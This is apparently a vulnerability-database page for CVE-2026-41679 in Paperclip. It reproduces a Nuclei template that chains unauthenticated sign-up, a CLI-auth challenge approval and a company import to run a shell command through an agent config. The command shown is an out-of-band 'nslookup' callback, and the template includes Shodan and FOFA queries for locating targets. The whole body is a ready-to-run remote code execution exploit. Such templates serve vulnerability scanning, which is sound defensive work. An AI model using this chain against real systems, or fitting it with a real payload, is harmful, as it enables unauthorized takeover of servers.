CVE-2026-41679: Paperclip - Remote Code Execution

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

Paperclip < 2026.416.0 contains a remote code execution caused by a chain of six unauthenticated API calls in authenticated mode with default configuration, letting unauthenticated attackers execute arbitrary code remotely, exploit requires network access to the target.

PoC代码[已公开]

id: CVE-2026-41679

info:
  name: Paperclip - Remote Code Execution
  author: theamanrawat,pdteam
  severity: critical
  description: |
    Paperclip < 2026.416.0 contains a remote code execution caused by a chain of six unauthenticated API calls in authenticated mode with default configuration, letting unauthenticated attackers execute arbitrary code remotely, exploit requires network access to the target.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.
  remediation: |
    Update to version 2026.416.0 or later.
  reference:
    - https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7
    - https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679
    - https://www.rapid7.com/db/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41679
    - https://github.com/bartfroklage/cve-2026-41679
  classification:
    cve-id: CVE-2026-41679
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-862,CWE-287,CWE-1188
    epss-score: 0.18852
    epss-percentile: 0.97124
    cpe: cpe:2.3:a:paperclipai:paperclipai:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 7
    vendor: paperclipai
    product: paperclipai
    shodan-query: http.title:"Paperclip" port:3100
    fofa-query: title="Paperclip" && port="3100"
  tags: cve,cve2026,paperclip,paperclipai,rce,unauth,oast,intrusive,vuln,vkev

variables:
  r_user: "{{rand_text_alpha(8)}}"
  r_email: "{{rand_text_alpha(8)}}@{{rand_text_alpha(5)}}.com"
  r_pass: "{{rand_text_alphanumeric(16)}}"
  r_corp: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/health"
    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, 'deploymentMode')"
          - "contains(body, 'status')"
        condition: and

  - raw:
      - |
        POST /api/auth/sign-up/email HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}

        {"email":"{{r_email}}","password":"{{r_pass}}","name":"{{r_user}}"}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, 'createdAt')"
        condition: and

  - raw:
      - |
        POST /api/auth/sign-in/email HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}

        {"email":"{{r_email}}","password":"{{r_pass}}"}

    extractors:
      - type: regex
        name: session_cookie
        internal: true
        part: header
        group: 1
        regex:
          - '(?i)set-cookie:\s*([^;\r\n]*session[_-]token=[^;\r\n]+)'

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, 'token')"
        condition: and

  - raw:
      - |
        POST /api/cli-auth/challenges HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}

        {"command":"{{rand_text_alpha(6)}}"}

    extractors:
      - type: json
        name: challenge_id
        internal: true
        json:
          - ".id"
      - type: json
        name: challenge_token
        internal: true
        json:
          - ".token"
      - type: json
        name: board_api_token
        internal: true
        json:
          - ".boardApiToken"
    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 201"
          - "contains(body, 'boardApiToken')"
        condition: and

  - raw:
      - |
        POST /api/cli-auth/challenges/{{challenge_id}}/approve HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}

        {"token":"{{challenge_token}}"}
    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "!contains(body, 'error')"
        condition: and

  - raw:
      - |
        POST /api/companies/import HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{board_api_token}}
        Origin: {{RootURL}}

        {"source":{"type":"inline","files":{"COMPANY.md":"---\nname: {{r_corp}}\nslug: {{r_corp}}\n---\nx","agents/pwn/AGENTS.md":"---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",".paperclip.yaml":"agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - nslookup {{interactsh-url}}"}},"target":{"mode":"new_company","newCompanyName":"{{r_corp}}"},"include":{"company":true,"agents":true},"agents":"all"}

      - |
        POST /api/agents/{{agent_id}}/wakeup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{board_api_token}}
        Origin: {{RootURL}}

        {}

    extractors:
      - type: json
        name: agent_id
        internal: true
        json:
          - ".agents[0].id"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(body_1, 'agents')"
          - "status_code_2 == 202"
        condition: and
# digest: 4a0a0047304502201d0db70175dd20ca8cac6941239c331420df62a518363d0080412c65f6da24ba022100d58f73ac430bc09373cf3c6efd5b01a061c39de9396ac0e24628d1d839a7f11f:922c64590222798bb761d5b6d8e72950